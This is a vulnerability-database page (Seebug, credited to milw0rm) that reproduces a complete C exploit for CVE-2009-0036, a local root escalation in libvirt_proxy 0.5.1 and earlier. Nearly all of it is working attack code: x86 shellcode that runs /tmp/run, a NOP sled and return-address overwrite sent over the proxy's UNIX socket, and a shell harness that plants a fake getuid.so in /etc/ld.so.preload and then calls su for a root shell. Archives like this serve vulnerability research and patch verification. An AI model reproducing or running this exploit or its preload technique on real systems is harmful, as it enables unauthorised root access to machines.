Lucene search

K
seebugRootSSV:66486
HistoryJul 01, 2014 - 12:00 a.m.

libvirt_proxy <= 0.5.1 - Local Privilege Escalation Exploit

2014-07-0100:00:00
Root
www.seebug.org
13

0.0004 Low

EPSS

Percentile

10.2%

No description provided by source.


                                                /*
 * cve-2009-0036.c
 *
 * libvirt_proxy &#60;= 0.5.1 Local Privilege Escalation Exploit
 * Jon Oberheide &#60;[email protected]&#62;
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0036
 *
 *   Buffer overflow in the proxyReadClientSocket function in 
 *   proxy/libvirt_proxy.c in libvirt_proxy 0.5.1 might allow local users to 
 *   gain privileges by sending a portion of the header of a virProxyPacket 
 *   packet, and then sending the remainder of the packet with crafted values 
 *   in the header, related to use of uninitialized memory in a validation 
 *   check.
 *   
 * Usage:
 *
 *   We&#39;re guessing to hit our NOP sled, so this program should be run in a 
 *   harness.  Since the shellcode will execute /tmp/run as root, the following
 *   harness will insert a malicious getuid.so payload in /etc/ld.so.preload.
 *
 *   #!/bin/sh
 *   
 *   echo &#34;[+] compiling the exploit&#34;
 *   gcc cve-2009-0036.c -o cve-2009-0036
 *   
 *   echo &#34;[+] creating /tmp/getuid.so&#34;
 *   echo &#34;int getuid(){return 0;}&#34; &#62; /tmp/getuid.c
 *   gcc -shared /tmp/getuid.c -o /tmp/getuid.so
 *   
 *   echo &#34;[+] setting up /tmp/run&#34;
 *   echo -e &#34;#!/bin/sh&#34; &#62; /tmp/run
 *   echo -e &#34;touch /tmp/success&#34; &#62;&#62; /tmp/run
 *   echo -e &#34;echo \&#34;/tmp/getuid.so\&#34; &#62; /etc/ld.so.preload&#34; &#62;&#62; /tmp/run
 *   chmod +x /tmp/run
 *   
 *   echo &#34;[+] starting exploit loop&#34;
 *   i=0
 *   rm -f /tmp/success
 *   while [ ! -e &#34;/tmp/success&#34; ]
 *   do
 *           i=$(($i+1))
 *           echo &#34;RUN NUMBER $i&#34;
 *           ./cve-2009-0036
 *   done
 *   
 *   echo &#34;[+] our getuid.so is now in ld.so.preload&#34;
 *   echo &#34;[+] running su to obtain root shell&#34;
 *   su
 *
 * Notes:
 *
 *   Tested on Gentoo Linux 32-bit with GCC 4.3.3-r2 and randomize_va_space=1.
 *   We have a 4096 byte NOP sled before shellcode and EIP followed by 1000 
 *   NOP/30 byte shellcode bundles until we cause a EFAULT in libvirt_proxy&#39;s 
 *   read(2).  Our total sled is usually around 5k-10k NOPs so it&#39;ll take 
 *   ~800-1600 tries on average to hit it and execute our shellcode.  Each run
 *   takes ~1 second, so exploitation will probably take 10-20 minutes on
 *   average.
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;stdint.h&#62;
#include &#60;unistd.h&#62;
#include &#60;errno.h&#62;
#include &#60;signal.h&#62;
#include &#60;sys/time.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;sys/un.h&#62;

#define PROXY_PATH &#34;/usr/libexec/libvirt_proxy&#34;
#define PROXY_SOCKET_PATH &#34;/tmp/livirt_proxy_conn&#34;
#define PROXY_PROTO_VERSION 1
#define PROXY_PACKET_LENGTH 0xffff

/* simple shellcode to execute /tmp/run */
const char shellcode[]= 
	&#34;\x31\xdb&#34;
	&#34;\x8d\x43\x17&#34;
	&#34;\x99&#34;
	&#34;\xcd\x80&#34;
	&#34;\x31\xc9&#34;
	&#34;\x51&#34;
	&#34;\x68\x2f\x72\x75\x6e&#34;
	&#34;\x68\x2f\x74\x6d\x70&#34;
	&#34;\x8d\x41\x0b&#34;
	&#34;\x89\xe3&#34;
	&#34;\xcd\x80&#34;;

struct proxy_packet {
	uint16_t version;
	uint16_t command;
	uint16_t serial;
	uint16_t len;
};

int
main(int argc, char **argv)
{
	FILE *fp;
	long ptr;
	int i, fd, pid, ret;
        char *pkt, nop[65536];
	struct sockaddr_un addr;
	struct proxy_packet req;
	struct timeval tv;

	signal(SIGPIPE, SIG_IGN);

	/* guess a random offset to jmp to */
	gettimeofday(&tv, NULL);
	srand((tv.tv_sec ^ tv.tv_usec) ^ getpid());
	ptr = 0xbf000000 + (rand() & 0x00ffffff);

	/* fire up the setuid libvirt_proxy */
	pid = fork();
	if (pid == 0) {
		execl(PROXY_PATH, &#34;libvirt_proxy&#34;, NULL);
	}

	memset(nop, &#39;\x90&#39;, sizeof(nop));

	/* connect to libvirt_proxy&#39;s AF_UNIX socket */
	fd = socket(PF_UNIX, SOCK_STREAM, 0);
	if (fd &#60; 0) {
		printf(&#34;[-] failed to create unix socket\n&#34;);
		return 1;
	}

	memset(&addr, 0, sizeof(addr));
	addr.sun_family = AF_UNIX;
	addr.sun_path[0] = &#39;\0&#39;;
	strncpy(&addr.sun_path[1], PROXY_SOCKET_PATH, strlen(PROXY_SOCKET_PATH));

	printf(&#34;[+] connecting to libvirt_proxy\n&#34;);

	if (connect(fd, (struct sockaddr *) &addr, sizeof(addr)) &#60; 0) {
		printf(&#34;[-] cant connect to libvirt_proxy socket\n&#34;);
		return 1;
	}

	/* transmit malicious payload to libvirt_proxy */
	pkt = (char *) &req;
	memset(&req, 0, sizeof(req));
	req.version = PROXY_PROTO_VERSION;
	req.len = PROXY_PACKET_LENGTH;

	printf(&#34;[+] sending initial packet header\n&#34;);
	send(fd, pkt, 7, 0);

	usleep(100000);

	printf(&#34;[+] sending corrupted length value\n&#34;);
	send(fd, pkt + 7, 1, 0);

	printf(&#34;[+] sending primary NOP sled\n&#34;);
	send(fd, nop, 4096, 0);

	printf(&#34;[+] sending primary shellcode\n&#34;);
	send(fd, shellcode, 28, 0);

	printf(&#34;[+] sending EIP overwrite (0x%lx)\n&#34;, ptr);
	send(fd, &ptr, 4, 0);

	usleep(100000);

	printf(&#34;[+] sending secondary NOP/shellcode bundles\n&#34;);
	for (i = 0; i &#60; 100; ++i) {
		send(fd, nop, 1000, 0);
		send(fd, shellcode, 28, 0);
	}
	close(fd);

	usleep(800000);

	/* clean slate if our guessed addr failed */
	kill(pid, SIGKILL);

	return 0;
}

// milw0rm.com [2009-04-27]